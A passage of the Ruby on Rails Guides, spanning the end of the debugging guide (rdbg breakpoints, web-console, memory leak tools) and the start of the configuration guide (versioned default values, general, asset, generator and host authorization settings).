    25|     debugger
    26|
    27|     respond_to do |format|
=>  28|       if @post.save
    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
    30|         format.json { render :show, status: :created, location: @post }
    31|       else
    32|         format.html { render :new, status: :unprocessable_entity }
=>#0    block {|format=#<ActionController::MimeResponds::Collec...|} in create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:28
  #1    ActionController::MimeResponds#respond_to(mimes=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/mime_responds.rb:205
  # and 74 frames (use `bt' command for all frames)

Stop by #0  BP - Line  /Users/st0012/projects/rails-guide-example/app/controllers/posts_controller.rb:28 (line)

Set a breakpoint on a given method call - e.g. b @post.save

  [20, 29] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
    20|   end
    21|
    22|   # POST /posts or /posts.json
    23|   def create
    24|     @post = Post.new(post_params)
=>  25|     debugger
    26|
    27|     respond_to do |format|
    28|       if @post.save
    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
=>#0    PostsController#create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:25
  #1    ActionController::BasicImplicitRender#send_action(method="create", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
  # and 72 frames (use `bt' command for all frames)
(rdbg) b @post.save    # break command
#0  BP - Method  @post.save at /Users/st0012/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/suppressor.rb:43

  (rdbg) c    # continue command
[39, 48] in ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/suppressor.rb
    39|         SuppressorRegistry.suppressed[name] = previous_state
    40|       end
    41|     end
    42|
    43|     def save(**) # :nodoc:
=>  44|       SuppressorRegistry.suppressed[self.class.name] ? true : super
    45|     end
    46|
    47|     def save!(**) # :nodoc:
    48|       SuppressorRegistry.suppressed[self.class.name] ? true : super
=>#0    ActiveRecord::Suppressor#save(#arg_rest=nil) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/suppressor.rb:44
  #1    block {|format=#<ActionController::MimeResponds::Collec...|} in create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:28
  # and 75 frames (use `bt' command for all frames)

Stop by #0  BP - Method  @post.save at /Users/st0012/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/suppressor.rb:43

3.3.2 The catch Command

Stop when an exception is raised - e.g. catch ActiveRecord::RecordInvalid

  [20, 29] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
    20|   end
    21|
    22|   # POST /posts or /posts.json
    23|   def create
    24|     @post = Post.new(post_params)
=>  25|     debugger
    26|
    27|     respond_to do |format|
    28|       if @post.save!
    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
=>#0    PostsController#create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:25
  #1    ActionController::BasicImplicitRender#send_action(method="create", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
  # and 72 frames (use `bt' command for all frames)
(rdbg) catch ActiveRecord::RecordInvalid    # command
#1  BP - Catch  "ActiveRecord::RecordInvalid"

  (rdbg) c    # continue command
[75, 84] in ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb
    75|     def default_validation_context
    76|       new_record? ? :create : :update
    77|     end
    78|
    79|     def raise_validation_error
=>  80|       raise(RecordInvalid.new(self))
    81|     end
    82|
    83|     def perform_validations(options = {})
    84|       options[:validate] == false || valid?(options[:context])
=>#0    ActiveRecord::Validations#raise_validation_error at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:80
  #1    ActiveRecord::Validations#save!(options={}) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:53
  # and 88 frames (use `bt' command for all frames)

Stop by #1  BP - Catch  "ActiveRecord::RecordInvalid"

3.3.3 The watch Command

Stop when the instance variable is changed - e.g. watch @_response_body

  [20, 29] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
    20|   end
    21|
    22|   # POST /posts or /posts.json
    23|   def create
    24|     @post = Post.new(post_params)
=>  25|     debugger
    26|
    27|     respond_to do |format|
    28|       if @post.save!
    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
=>#0    PostsController#create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:25
  #1    ActionController::BasicImplicitRender#send_action(method="create", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
  # and 72 frames (use `bt' command for all frames)
(rdbg) watch @_response_body    # command
#0  BP - Watch  #<PostsController:0x00007fce69ca5320> @_response_body =

  (rdbg) c    # continue command
[173, 182] in ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal.rb
   173|       body = [body] unless body.nil? || body.respond_to?(:each)
   174|       response.reset_body!
   175|       return unless body
   176|       response.body = body
   177|       super
=> 178|     end
   179|
   180|     # Tests if render or redirect has already happened.
   181|     def performed?
   182|       response_body || response.committed?
=>#0    ActionController::Metal#response_body=(body=["<html><body>You are being <a href=\"ht...) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal.rb:178 #=> ["<html><body>You are being <a href=\"ht...
  #1    ActionController::Redirecting#redirect_to(options=#<Post id: 13, title: "qweqwe", content:..., response_options={:allow_other_host=>false}) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/redirecting.rb:74
  # and 82 frames (use `bt' command for all frames)

Stop by #0  BP - Watch  #<PostsController:0x00007fce69ca5320> @_response_body =  -> ["<html><body>You are being <a href=\"http://localhost:3000/posts/13\">redirected</a>.</body></html>"]
(rdbg)

3.3.4 Breakpoint Options

In addition to different types of breakpoints, you can also specify options to achieve more advanced debugging workflow. Currently, the debugger supports 4 options:

do: <cmd or expr> - when the breakpoint is triggered, execute the given command/expression and continue the program:

break Foo#bar do: bt - when Foo#bar is called, print the stack frames

pre: <cmd or expr> - when the breakpoint is triggered, execute the given command/expression before stopping:

break Foo#bar pre: info - when Foo#bar is called, print its surrounding variables before stopping.

if: <expr> - the breakpoint only stops if the result of <expr> is true:

break Post#save if: params[:debug] - stops at Post#save if params[:debug] is also true

path: <path_regexp> - the breakpoint only stops if the event that triggers it (e.g. a method call) happens from the given path:

break Post#save if: app/services/a_service - stops at Post#save if the method call happens at a method matches Ruby regexp /app\/services\/a_service/.

Please also note that the first 3 options: do:, pre: and if: are also available for the debug statements we mentioned earlier. For example:

  [2, 11] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
     2|   before_action :set_post, only: %i[ show edit update destroy ]
     3|
     4|   # GET /posts or /posts.json
     5|   def index
     6|     @posts = Post.all
=>   7|     debugger(do: "info")
     8|   end
     9|
    10|   # GET /posts/1 or /posts/1.json
    11|   def show
=>#0    PostsController#index at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:7
  #1    ActionController::BasicImplicitRender#send_action(method="index", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
  # and 72 frames (use `bt' command for all frames)
(rdbg:binding.break) info
%self = #<PostsController:0x00000000017480>
@_action_has_layout = true
@_action_name = "index"
@_config = {}
@_lookup_context = #<ActionView::LookupContext:0x00007fce3ad336b8 @details_key=nil, @digest_cache=...
@_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1>
@_response = #<ActionDispatch::Response:0x00007fce3ad397e8 @mon_data=#<Monitor:0x00007fce3ad396a8>...
@_response_body = nil
@_routes = nil
@marked_for_same_origin_verification = true
@posts = #<ActiveRecord::Relation [#<Post id: 2, title: "qweqwe", content: "qweqwe", created_at: "...
@rendered_format = nil

3.3.5 Program Your Debugging Workflow

With those options, you can script your debugging workflow in one line like:

  def create
  debugger(do: "catch ActiveRecord::RecordInvalid do: bt 10")
  # ...
end

And then the debugger will run the scripted command and insert the catch breakpoint

  (rdbg:binding.break) catch ActiveRecord::RecordInvalid do: bt 10
#0  BP - Catch  "ActiveRecord::RecordInvalid"
[75, 84] in ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb
    75|     def default_validation_context
    76|       new_record? ? :create : :update
    77|     end
    78|
    79|     def raise_validation_error
=>  80|       raise(RecordInvalid.new(self))
    81|     end
    82|
    83|     def perform_validations(options = {})
    84|       options[:validate] == false || valid?(options[:context])
=>#0    ActiveRecord::Validations#raise_validation_error at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:80
  #1    ActiveRecord::Validations#save!(options={}) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:53
  # and 88 frames (use `bt' command for all frames)

Once the catch breakpoint is triggered, it'll print the stack frames

  Stop by #0  BP - Catch  "ActiveRecord::RecordInvalid"

(rdbg:catch) bt 10
=>#0    ActiveRecord::Validations#raise_validation_error at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:80
  #1    ActiveRecord::Validations#save!(options={}) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:53
  #2    block in save! at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/transactions.rb:302

This technique can save you from repeated manual input and make the debugging experience smoother.

You can find more commands and configuration options from its documentation.

3.3.6 Autoloading Caveat

Debugging with debug works fine most of the time, but there's an edge case: If you evaluate an expression in the console that autoloads a namespace defined in a file, constants in that namespace won't be found.

For example, if the application has these two files:

  # hotel.rb
class Hotel
end

# hotel/pricing.rb
module Hotel::Pricing
end

and Hotel is not yet loaded, then

  (rdbg) p Hotel::Pricing

will raise a NameError. In some cases, Ruby will be able to resolve an unintended constant in a different scope.

If you hit this, please restart your debugging session with eager loading enabled (config.eager_load = true).

Stepping commands line next, continue, etc., do not present this issue. Namespaces defined implicitly only by subdirectories are not subject to this issue either.

See ruby/debug#408 for details.

4 Debugging with the web-console Gem

Web Console is a bit like debug, but it runs in the browser. You can request a console in the context of a view or a controller on any page. The console would be rendered next to your HTML content.

4.1 Console

Inside any controller action or view, you can invoke the console by calling the console method.

For example, in a controller:

  class PostsController < ApplicationController
  def new
    console
    @post = Post.new
  end
end

Or in a view:

  <% console %>

<h2>New Post</h2>

This will render a console inside your view. You don't need to care about the location of the console call; it won't be rendered on the spot of its invocation but next to your HTML content.

The console executes pure Ruby code: You can define and instantiate custom classes, create new models, and inspect variables.

Only one console can be rendered per request. Otherwise web-console will raise an error on the second console invocation.

4.2 Inspecting Variables

You can invoke instance_variables to list all the instance variables available in your context. If you want to list all the local variables, you can do that with local_variables.

4.3 Settings

config.web_console.allowed_ips: Authorized list of IPv4 or IPv6 addresses and networks (defaults: 127.0.0.1/8, ::1).

config.web_console.whiny_requests: Log a message when a console rendering is prevented (defaults: true).

Since web-console evaluates plain Ruby code remotely on the server, don't try to use it in production.

5 Debugging Memory Leaks

A Ruby application (on Rails or not), can leak memory — either in the Ruby code or at the C code level.

In this section, you will learn how to find and fix such leaks by using tools such as Valgrind.

5.1 Valgrind

Valgrind is an application for detecting C-based memory leaks and race conditions.

There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, if a C extension in the interpreter calls malloc() but doesn't properly call free(), this memory won't be available until the app terminates.

For further information on how to install Valgrind and use with Ruby, refer to Valgrind and Ruby by Evan Weaver.

5.2 Find a Memory Leak

There is an excellent article about detecting and fixing memory leaks at Derailed, which you can read here.

6 Plugins for Debugging

There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:

Query Trace Adds query origin tracing to your logs.

Exception Notifier Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.

Better Errors Replaces the standard Rails error page with a new one containing more contextual information, like source code and variable inspection.

RailsPanel Chrome extension for Rails development that will end your tailing of development.log. Have all information about your Rails app requests in the browser — in the Developer Tools panel. Provides insight to db/rendering/total times, parameter list, rendered views and more.

Pry An IRB alternative and runtime developer console.

7 References

web-console Homepage

debug homepage

Configuring Rails Applications

This guide covers the configuration and initialization features available to Rails applications.

After reading this guide, you will know:

How to adjust the behavior of your Rails applications.

How to add additional code to be run at application start time.

Chapters

Locations for Initialization Code

Running Code Before Rails

Configuring Rails Components

Versioned Default Values

Rails General Configuration

Configuring Assets

Configuring Generators

Configuring Middleware

Configuring i18n

Configuring Active Model

Configuring Active Record

Configuring Action Controller

Configuring Action Dispatch

Configuring Action View

Configuring Action Mailbox

Configuring Action Mailer

Configuring Active Support

Configuring Active Job

Configuring Action Cable

Configuring Active Storage

Configuring Action Text

Configuring a Database

Connection Preference

Creating Rails Environments

Deploy to a Subdirectory (relative URL root)

Rails Environment Settings

Using Initializer Files

Initialization Events

Rails::Railtie#initializer

Initializers

Database Pooling

Custom Configuration

Search Engines Indexing

Evented File System Monitor

1 Locations for Initialization Code

Rails offers four standard spots to place initialization code:

config/application.rb

Environment-specific configuration files

Initializers

After-initializers

2 Running Code Before Rails

In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to require "rails/all" in config/application.rb.

3 Configuring Rails Components

In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file config/application.rb and environment-specific configuration files (such as config/environments/production.rb) allow you to specify the various settings that you want to pass down to all of the components.

For example, you could add this setting to config/application.rb file:

  config.time_zone = 'Central Time (US & Canada)'

This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same config object in config/application.rb:

  config.active_record.schema_format = :ruby

Rails will use that particular setting to configure Active Record.

Use the public configuration methods over calling directly to the associated class. e.g. Rails.application.config.action_mailer.options instead of ActionMailer::Base.options.

If you need to apply configuration directly to a class, use a lazy load hook in an initializer to avoid autoloading the class before initialization has completed. This will break because autoloading during initialization cannot be safely repeated when the app reloads.

3.1 Versioned Default Values

config.load_defaults loads default configuration values for a target version and all versions prior. For example, config.load_defaults 6.1 will load defaults for all versions up to and including version 6.1.

Below are the default values associated with each target version. In cases of conflicting values, newer versions take precedence over older versions.

3.1.1 Default Values for Target Version 7.0

config.action_controller.raise_on_open_redirects: true

config.action_controller.wrap_parameters_by_default: true

config.action_dispatch.cookies_serializer: :json

config.action_dispatch.default_headers: { "X-Frame-Options" => "SAMEORIGIN", "X-XSS-Protection" => "0", "X-Content-Type-Options" => "nosniff", "X-Download-Options" => "noopen", "X-Permitted-Cross-Domain-Policies" => "none", "Referrer-Policy" => "strict-origin-when-cross-origin" }

config.action_dispatch.return_only_request_media_type_on_content_type: false

config.action_mailer.smtp_timeout: 5

config.action_view.apply_stylesheet_media_default: false

config.action_view.button_to_generates_button_tag: true

config.active_record.automatic_scope_inversing: true

config.active_record.partial_inserts: false

config.active_record.verify_foreign_keys_for_fixtures: true

config.active_storage.multiple_file_field_include_hidden: true

config.active_storage.variant_processor: :vips

config.active_storage.video_preview_arguments: "-vf 'select=eq(n\\,0)+eq(key\\,1)+gt(scene\\,0.015),loop=loop=-1:size=2,trim=start_frame=1' -frames:v 1 -f image2"

config.active_support.cache_format_version: 7.0

config.active_support.disable_to_s_conversion: true

config.active_support.executor_around_test_case: true

config.active_support.hash_digest_class: OpenSSL::Digest::SHA256

config.active_support.key_generator_hash_digest_class: OpenSSL::Digest::SHA256

config.active_support.remove_deprecated_time_with_zone_name: true

config.active_support.use_rfc4122_namespaced_uuids: true

3.1.2 Default Values for Target Version 6.1

ActiveSupport.utc_to_local_returns_utc_offset_times: true

config.action_controller.urlsafe_csrf_tokens: true

config.action_dispatch.cookies_same_site_protection: :lax

config.action_dispatch.ssl_default_redirect_status: 308

config.action_mailbox.queues.incineration: nil

config.action_mailbox.queues.routing: nil

config.action_mailer.deliver_later_queue_name: nil

config.action_view.form_with_generates_remote_forms: false

config.action_view.preload_links_header: true

config.active_job.retry_jitter: 0.15

config.active_record.has_many_inversing: true

config.active_record.legacy_connection_handling: false

config.active_storage.queues.analysis: nil

config.active_storage.queues.purge: nil

config.active_storage.track_variants: true

3.1.3 Default Values for Target Version 6.0

config.action_dispatch.use_cookies_with_metadata: true

config.action_mailer.delivery_job: "ActionMailer::MailDeliveryJob"

config.action_view.default_enforce_utf8: false

config.active_record.collection_cache_versioning: true

config.active_storage.queues.analysis: :active_storage_analysis

config.active_storage.queues.purge: :active_storage_purge

config.active_storage.replace_on_assign_to_many: true

3.1.4 Default Values for Target Version 5.2

config.action_controller.default_protect_from_forgery: true

config.action_dispatch.use_authenticated_cookie_encryption: true

config.action_view.form_with_generates_ids: true

config.active_record.cache_versioning: true

config.active_support.hash_digest_class: OpenSSL::Digest::SHA1

config.active_support.use_authenticated_message_encryption: true

3.1.5 Default Values for Target Version 5.1

config.action_view.form_with_generates_remote_forms: true

config.assets.unknown_asset_fallback: false

3.1.6 Default Values for Target Version 5.0

ActiveSupport.to_time_preserves_timezone: true

config.action_controller.forgery_protection_origin_check: true

config.action_controller.per_form_csrf_tokens: true

config.active_record.belongs_to_required_by_default: true

config.ssl_options: { hsts: { subdomains: true } }

3.2 Rails General Configuration

The following configuration methods are to be called on a Rails::Railtie object, such as a subclass of Rails::Engine or Rails::Application.

3.2.1 config.after_initialize

Takes a block which will be run after Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in config/initializers. Note that this block will be run for rake tasks. Useful for configuring values set up by other initializers:

  config.after_initialize do
  ActionView::Base.sanitized_allowed_tags.delete 'div'
end

3.2.2 config.asset_host

Sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of config.action_controller.asset_host.

3.2.3 config.autoload_once_paths

Accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if config.cache_classes is false, which is the default in the development environment. Otherwise, all autoloading happens only once. All elements of this array must also be in autoload_paths. Default is an empty array.

3.2.4 config.autoload_paths

Accepts an array of paths from which Rails will autoload constants. Default is an empty array. Since Rails 6, it is not recommended to adjust this. See Autoloading and Reloading Constants.

3.2.5 config.add_autoload_paths_to_load_path

Says whether autoload paths have to be added to $LOAD_PATH. This flag is true by default, but it is recommended to be set to false in :zeitwerk mode early, in config/application.rb. Zeitwerk uses absolute paths internally, and applications running in :zeitwerk mode do not need require_dependency, so models, controllers, jobs, etc. do not need to be in $LOAD_PATH. Setting this to false saves Ruby from checking these directories when resolving require calls with relative paths, and saves Bootsnap work and RAM, since it does not need to build an index for them.

3.2.6 config.cache_classes

Controls whether or not application classes and modules should be reloaded if they change. When the cache is enabled (true), reloading will not occur. Defaults to false in the development environment, and true in production. In the test environment, the default is false if Spring is installed, true otherwise.

3.2.7 config.beginning_of_week

Sets the default beginning of week for the application. Accepts a valid day of week as a symbol (e.g. :monday).

3.2.8 config.cache_store

Configures which cache store to use for Rails caching. Options include one of the symbols :memory_store, :file_store, :mem_cache_store, :null_store, :redis_cache_store, or an object that implements the cache API. Defaults to :file_store. See Cache Stores for per-store configuration options.

3.2.9 config.colorize_logging

Specifies whether or not to use ANSI color codes when logging information. Defaults to true.

3.2.10 config.consider_all_requests_local

Is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the Rails::Info controller will show the application runtime context in /rails/info/properties. true by default in the development and test environments, and false in production. For finer-grained control, set this to false and implement show_detailed_exceptions? in controllers to specify which requests should provide debugging information on errors.

3.2.11 config.console

Allows you to set the class that will be used as console when you run bin/rails console. It's best to run it in the console block:

  console do
  # this block is called only when running console,
  # so we can safely require pry here
  require "pry"
  config.console = Pry
end

3.2.12 config.disable_sandbox

Controls whether or not someone can start a console in sandbox mode. This is helpful to avoid a long running session of sandbox console, that could lead a database server to run out of memory. Defaults to false.

3.2.13 config.eager_load

When true, eager loads all registered config.eager_load_namespaces. This includes your application, engines, Rails frameworks, and any other registered namespace.

3.2.14 config.eager_load_namespaces

Registers namespaces that are eager loaded when config.eager_load is set to true. All namespaces in the list must respond to the eager_load! method.

3.2.15 config.eager_load_paths

Accepts an array of paths from which Rails will eager load on boot if config.cache_classes is set to true. Defaults to every folder in the app directory of the application.

3.2.16 config.enable_dependency_loading

When true, enables autoloading, even if the application is eager loaded and config.cache_classes is set to true. Defaults to false.

3.2.17 config.encoding

Sets up the application-wide encoding. Defaults to UTF-8.

3.2.18 config.exceptions_app

Sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to ActionDispatch::PublicExceptions.new(Rails.public_path).

3.2.19 config.debug_exception_response_format

Sets the format used in responses when errors occur in the development environment. Defaults to :api for API only apps and :default for normal apps.

3.2.20 config.file_watcher

Is the class used to detect file updates in the file system when config.reload_classes_only_on_change is true. Rails ships with ActiveSupport::FileUpdateChecker, the default, and ActiveSupport::EventedFileUpdateChecker (this one depends on the listen gem). Custom classes must conform to the ActiveSupport::FileUpdateChecker API.

3.2.21 config.filter_parameters

Used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers. It also filters out sensitive values of database columns when calling #inspect on an Active Record object. By default, Rails filters out passwords by adding the following filters in config/initializers/filter_parameter_logging.rb.

  Rails.application.config.filter_parameters += [
  :passw, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn
]

Parameters filter works by partial matching regular expression.

3.2.22 config.force_ssl

Forces all requests to be served over HTTPS, and sets "https://" as the default protocol when generating URLs. Enforcement of HTTPS is handled by the ActionDispatch::SSL middleware, which can be configured via config.ssl_options.

3.2.23 config.javascript_path

Sets the path where your app's JavaScript lives relative to the app directory. The default is javascript, used by webpacker. An app's configured javascript_path will be excluded from autoload_paths.

3.2.24 config.log_formatter

Defines the formatter of the Rails logger. This option defaults to an instance of ActiveSupport::Logger::SimpleFormatter for all environments. If you are setting a value for config.logger you must manually pass the value of your formatter to your logger before it is wrapped in an ActiveSupport::TaggedLogging instance, Rails will not do it for you.

3.2.25 config.log_level

Defines the verbosity of the Rails logger. This option defaults to :debug for all environments except production, where it defaults to :info. The available log levels are: :debug, :info, :warn, :error, :fatal, and :unknown.

3.2.26 config.log_tags

Accepts a list of methods that the request object responds to, a Proc that accepts the request object, or something that responds to to_s. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications.

3.2.27 config.logger

Is the logger that will be used for Rails.logger and any related Rails logging such as ActiveRecord::Base.logger. It defaults to an instance of ActiveSupport::TaggedLogging that wraps an instance of ActiveSupport::Logger which outputs a log to the log/ directory. You can supply a custom logger, to get full compatibility you must follow these guidelines:

To support a formatter, you must manually assign a formatter from the config.log_formatter value to the logger.

To support tagged logs, the log instance must be wrapped with ActiveSupport::TaggedLogging.

To support silencing, the logger must include ActiveSupport::LoggerSilence module. The ActiveSupport::Logger class already includes these modules.

  class MyLogger < ::Logger
  include ActiveSupport::LoggerSilence
end

mylogger           = MyLogger.new(STDOUT)
mylogger.formatter = config.log_formatter
config.logger      = ActiveSupport::TaggedLogging.new(mylogger)

3.2.28 config.middleware

Allows you to configure the application's middleware. This is covered in depth in the Configuring Middleware section below.

3.2.29 config.rake_eager_load

When true, eager load the application when running Rake tasks. Defaults to false.

3.2.30 config.reload_classes_only_on_change

Enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If config.cache_classes is true, this option is ignored.

3.2.31 config.credentials.content_path

Configures lookup path for encrypted credentials.

3.2.32 config.credentials.key_path

Configures lookup path for encryption key.

3.2.33 config.secret_key_base

The fallback for specifying the input secret for an application's key generator. It is recommended to leave this unset, and instead to specify a secret_key_base in config/credentials.yml.enc. See the secret_key_base API documentation for more information and alternative configuration methods.

3.2.34 config.require_master_key

Causes the app to not boot if a master key hasn't been made available through ENV["RAILS_MASTER_KEY"] or the config/master.key file.

3.2.35 config.public_file_server.enabled

Configures Rails to serve static files from the public directory. This option defaults to true, but in the production environment it is set to false because the server software (e.g. NGINX or Apache) used to run the application should serve static files instead. If you are running or testing your app in production using WEBrick (it is not recommended to use WEBrick in production), set the option to true. Otherwise, you won't be able to use page caching and request for files that exist under the public directory.

3.2.36 config.session_store

Specifies what class to use to store the session. Possible values are :cookie_store, :mem_cache_store, a custom store, or :disabled. :disabled tells Rails not to deal with sessions.

This setting is configured via a regular method call, rather than a setter. This allows additional options to be passed:

  config.session_store :cookie_store, key: "_your_app_session"

If a custom store is specified as a symbol, it will be resolved to the ActionDispatch::Session namespace:

  # use ActionDispatch::Session::MyCustomStore as the session store
config.session_store :my_custom_store

The default store is a cookie store with the application name as the session key.

3.2.37 config.ssl_options

Configuration options for the ActionDispatch::SSL middleware.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | {}
5.0 | { hsts: { subdomains: true } }

3.2.38 config.time_zone

Sets the default time zone for the application and enables time zone awareness for Active Record.

3.3 Configuring Assets

3.3.1 config.assets.css_compressor

Defines the CSS compressor to use. It is set by default by sass-rails. The unique alternative value at the moment is :yui, which uses the yui-compressor gem.

3.3.2 config.assets.js_compressor

Defines the JavaScript compressor to use. Possible values are :terser, :closure, :uglifier, and :yui, which require the use of the terser, closure-compiler, uglifier, or yui-compressor gems respectively.

3.3.3 config.assets.gzip

A flag that enables the creation of gzipped version of compiled assets, along with non-gzipped assets. Set to true by default.

3.3.4 config.assets.paths

Contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.

3.3.5 config.assets.precompile

Allows you to specify additional assets (other than application.css and application.js) which are to be precompiled when rake assets:precompile is run.

3.3.6 config.assets.unknown_asset_fallback

Allows you to modify the behavior of the asset pipeline when an asset is not in the pipeline, if you use sprockets-rails 3.2.0 or newer.

The default value depends on the config.load_defaults target version:

Starting with version | The default value is
(original) | true
5.1 | false

3.3.7 config.assets.prefix

Defines the prefix where assets are served from. Defaults to /assets.

3.3.8 config.assets.manifest

Defines the full path to be used for the asset precompiler's manifest file. Defaults to a file named manifest-<random>.json in the config.assets.prefix directory within the public folder.

3.3.9 config.assets.digest

Enables the use of SHA256 fingerprints in asset names. Set to true by default.

3.3.10 config.assets.debug

Disables the concatenation and compression of assets. Set to true by default in development.rb.

3.3.11 config.assets.version

Is an option string that is used in SHA256 hash generation. This can be changed to force all files to be recompiled.

3.3.12 config.assets.compile

Is a boolean that can be used to turn on live Sprockets compilation in production.

3.3.13 config.assets.logger

Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class. Defaults to the same configured at config.logger. Setting config.assets.logger to false will turn off served assets logging.

3.3.14 config.assets.quiet

Disables logging of assets requests. Set to true by default in development.rb.

3.4 Configuring Generators

Rails allows you to alter what generators are used with the config.generators method. This method takes a block:

  config.generators do |g|
  g.orm :active_record
  g.test_framework :test_unit
end

The full set of methods that can be used in this block are as follows:

force_plural allows pluralized model names. Defaults to false.

helper defines whether or not to generate helpers. Defaults to true.

integration_tool defines which integration tool to use to generate integration tests. Defaults to :test_unit.

system_tests defines which integration tool to use to generate system tests. Defaults to :test_unit.

orm defines which orm to use. Defaults to false and will use Active Record by default.

resource_controller defines which generator to use for generating a controller when using bin/rails generate resource. Defaults to :controller.

resource_route defines whether a resource route definition should be generated or not. Defaults to true.

scaffold_controller different from resource_controller, defines which generator to use for generating a scaffolded controller when using bin/rails generate scaffold. Defaults to :scaffold_controller.

test_framework defines which test framework to use. Defaults to false and will use minitest by default.

template_engine defines which template engine to use, such as ERB or Haml. Defaults to :erb.

3.5 Configuring Middleware

Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:

3.5.1 ActionDispatch::HostAuthorization

Prevents against DNS rebinding and other Host header attacks. It is included in the development environment by default with the following configuration:

  Rails.application.config.hosts = [
  IPAddr.new("0.0.0.0/0"),        # All IPv4 addresses.
  IPAddr.new("::/0"),             # All IPv6 addresses.
  "localhost",                    # The localhost reserved domain.
  ENV["RAILS_DEVELOPMENT_HOSTS"]  # Additional comma-separated hosts for development.
]

In other environments Rails.application.config.hosts is empty and no Host header checks will be done. If you want to guard against header attacks on production, you have to manually permit the allowed hosts with:

  Rails.application.config.hosts << "product.com"

The host of a request is checked against the hosts entries with the case operator (#===), which lets hosts support entries of type Regexp, Proc and IPAddr to name a few. Here is an example with a regexp.

  # Allow requests from subdomains like `www.product.com` and
# `beta1.product.com`.
Rails.application.config.hosts << /.*\.product\.com/

The provided regexp will be wrapped with both anchors (\A and \z) so it must match the entire hostname. /product.com/, for example, once anchored, would fail to match www.product.com.

A special case is supported that allows you to permit all sub-domains:

  # Allow requests from subdomains like `www.product.com` and
# `beta1.product.com`.
Rails.application.config.hosts << ".product.com"

You can exclude certain requests from Host Authorization checks by setting config.host_authorization.exclude:

  # Exclude requests for the /healthcheck/ path from host checking
Rails.application.config.host_authorization = {
  exclude: ->(request) { request.path =~ /healthcheck/ }
}

When a request comes to an unauthorized host, a default Rack application will run and respond with 403 Forbidden. This can be customized by setting config.host_authorization.response_app. For example:

  Rails.application.config.host_authorization = {
  response_app: -> env do
